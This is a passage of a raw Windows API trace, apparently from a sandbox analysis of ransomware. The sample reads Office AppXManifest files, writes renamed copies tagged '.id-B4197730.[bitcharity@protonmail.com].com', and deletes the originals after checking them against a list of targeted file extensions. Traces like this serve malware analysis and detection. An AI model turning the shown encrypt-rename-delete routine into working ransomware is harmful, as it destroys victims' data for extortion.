[0145.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0145.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.807] lstrlenW (lpString=".doc") returned 4 [0145.807] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.807] lstrlenW (lpString=".docx") returned 5 [0145.807] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.807] lstrlenW (lpString=".pdf") returned 4 [0145.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.807] lstrlenW (lpString=".xls") returned 4 [0145.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.808] lstrlenW (lpString=".xlsx") returned 5 [0145.808] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.808] lstrlenW (lpString=".ppt") returned 4 [0145.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.808] lstrlenW (lpString=".zip") returned 4 [0145.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.808] lstrlenW (lpString=".rar") returned 4 [0145.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.808] lstrlenW (lpString=".bz2") returned 4 [0145.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.808] lstrlenW (lpString=".7z") returned 3 [0145.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.808] lstrlenW (lpString=".dbf") returned 4 [0145.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.809] lstrlenW (lpString=".1cd") returned 4 [0145.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.809] lstrlenW (lpString=".jpg") returned 4 [0145.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.809] lstrlenW (lpString=".doc") returned 4 [0145.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.809] lstrlenW (lpString=".docx") returned 5 [0145.809] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.809] lstrlenW (lpString=".pdf") returned 4 [0145.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.809] lstrlenW (lpString=".xls") returned 4 [0145.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.809] lstrlenW (lpString=".xlsx") returned 5 [0145.809] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.809] lstrlenW (lpString=".ppt") returned 4 [0145.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.810] lstrlenW (lpString=".zip") returned 4 [0145.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.810] lstrlenW (lpString=".rar") returned 4 [0145.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.810] lstrlenW (lpString=".bz2") returned 4 [0145.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.810] lstrlenW (lpString=".7z") returned 3 [0145.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.810] lstrlenW (lpString=".dbf") returned 4 [0145.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.810] lstrlenW (lpString=".1cd") returned 4 [0145.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0145.810] lstrlenW (lpString=".jpg") returned 4 [0145.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.810] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.810] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0145.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.811] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1261) returned 1 [0145.811] CloseHandle (hObject=0x1098) returned 1 [0145.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0145.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.811] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.811] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.812] GetLastError () returned 0x0 [0145.812] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0145.948] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0145.949] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.949] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0145.949] SetEndOfFile (hFile=0x10c0) returned 1 [0145.949] CloseHandle (hObject=0x10c0) returned 1 [0145.957] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.957] SetEndOfFile (hFile=0x1098) returned 1 [0145.958] CloseHandle (hObject=0x1098) returned 1 [0145.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0145.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.966] lstrlenW (lpString=".doc") returned 4 [0145.966] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.966] lstrlenW (lpString=".docx") returned 5 [0145.966] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.966] lstrlenW (lpString=".pdf") returned 4 [0145.966] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.966] lstrlenW (lpString=".xls") returned 4 [0145.966] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.966] lstrlenW (lpString=".xlsx") returned 5 [0145.966] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.966] lstrlenW (lpString=".ppt") returned 4 [0145.966] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.966] lstrlenW (lpString=".zip") returned 4 [0145.966] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.966] lstrlenW (lpString=".rar") returned 4 [0145.967] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString=".bz2") returned 4 [0145.967] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString=".7z") returned 3 [0145.967] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.967] lstrlenW (lpString=".dbf") returned 4 [0145.967] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.967] lstrlenW (lpString=".1cd") returned 4 [0145.967] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.967] lstrlenW (lpString=".jpg") returned 4 [0145.967] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.967] lstrlenW (lpString=".doc") returned 4 [0145.967] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString=".docx") returned 5 [0145.967] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.967] lstrlenW (lpString=".pdf") returned 4 [0145.967] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString=".xls") returned 4 [0145.967] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString=".xlsx") returned 5 [0145.967] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.967] lstrlenW (lpString=".ppt") returned 4 [0145.967] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.967] lstrlenW (lpString=".zip") returned 4 [0145.967] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.967] lstrlenW (lpString=".rar") returned 4 [0145.968] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.968] lstrlenW (lpString=".bz2") returned 4 [0145.968] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.968] lstrlenW (lpString=".7z") returned 3 [0145.968] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.968] lstrlenW (lpString=".dbf") returned 4 [0145.968] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.968] lstrlenW (lpString=".1cd") returned 4 [0145.968] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0145.968] lstrlenW (lpString=".jpg") returned 4 [0145.968] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.968] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.968] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0145.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.968] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1261) returned 1 [0145.968] CloseHandle (hObject=0x10c4) returned 1 [0145.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0145.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.969] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.969] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0145.969] GetLastError () returned 0x0 [0145.969] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0145.976] WriteFile (in: hFile=0x10a8, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0145.977] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.977] WriteFile (in: hFile=0x10a8, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0145.977] SetEndOfFile (hFile=0x10a8) returned 1 [0145.978] CloseHandle (hObject=0x10a8) returned 1 [0145.981] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.981] SetEndOfFile (hFile=0x10c4) returned 1 [0145.982] CloseHandle (hObject=0x10c4) returned 1 [0145.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0145.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0145.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.982] lstrlenW (lpString=".doc") returned 4 [0145.982] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.982] lstrlenW (lpString=".docx") returned 5 [0145.982] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.982] lstrlenW (lpString=".pdf") returned 4 [0145.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.982] lstrlenW (lpString=".xls") returned 4 [0145.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.982] lstrlenW (lpString=".xlsx") returned 5 [0145.982] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.982] lstrlenW (lpString=".ppt") returned 4 [0145.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.983] lstrlenW (lpString=".zip") returned 4 [0145.983] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.983] lstrlenW (lpString=".rar") returned 4 [0145.983] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString=".bz2") returned 4 [0145.983] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString=".7z") returned 3 [0145.983] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.983] lstrlenW (lpString=".dbf") returned 4 [0145.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.983] lstrlenW (lpString=".1cd") returned 4 [0145.983] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.983] lstrlenW (lpString=".jpg") returned 4 [0145.983] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.983] lstrlenW (lpString=".doc") returned 4 [0145.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString=".docx") returned 5 [0145.983] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.983] lstrlenW (lpString=".pdf") returned 4 [0145.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString=".xls") returned 4 [0145.983] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString=".xlsx") returned 5 [0145.983] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.983] lstrlenW (lpString=".ppt") returned 4 [0145.983] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.984] lstrlenW (lpString=".zip") returned 4 [0145.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.984] lstrlenW (lpString=".rar") returned 4 [0145.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.984] lstrlenW (lpString=".bz2") returned 4 [0145.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.984] lstrlenW (lpString=".7z") returned 3 [0145.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.984] lstrlenW (lpString=".dbf") returned 4 [0145.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.984] lstrlenW (lpString=".1cd") returned 4 [0145.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0145.984] lstrlenW (lpString=".jpg") returned 4 [0145.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.984] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.984] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0145.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.016] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=253712) returned 1 [0146.016] CloseHandle (hObject=0x1038) returned 1 [0146.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0146.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.017] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0146.017] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0146.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0146.018] GetLastError () returned 0x0 [0146.018] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x3df10, lpOverlapped=0x0) returned 1 [0146.109] WriteFile (in: hFile=0x10c4, 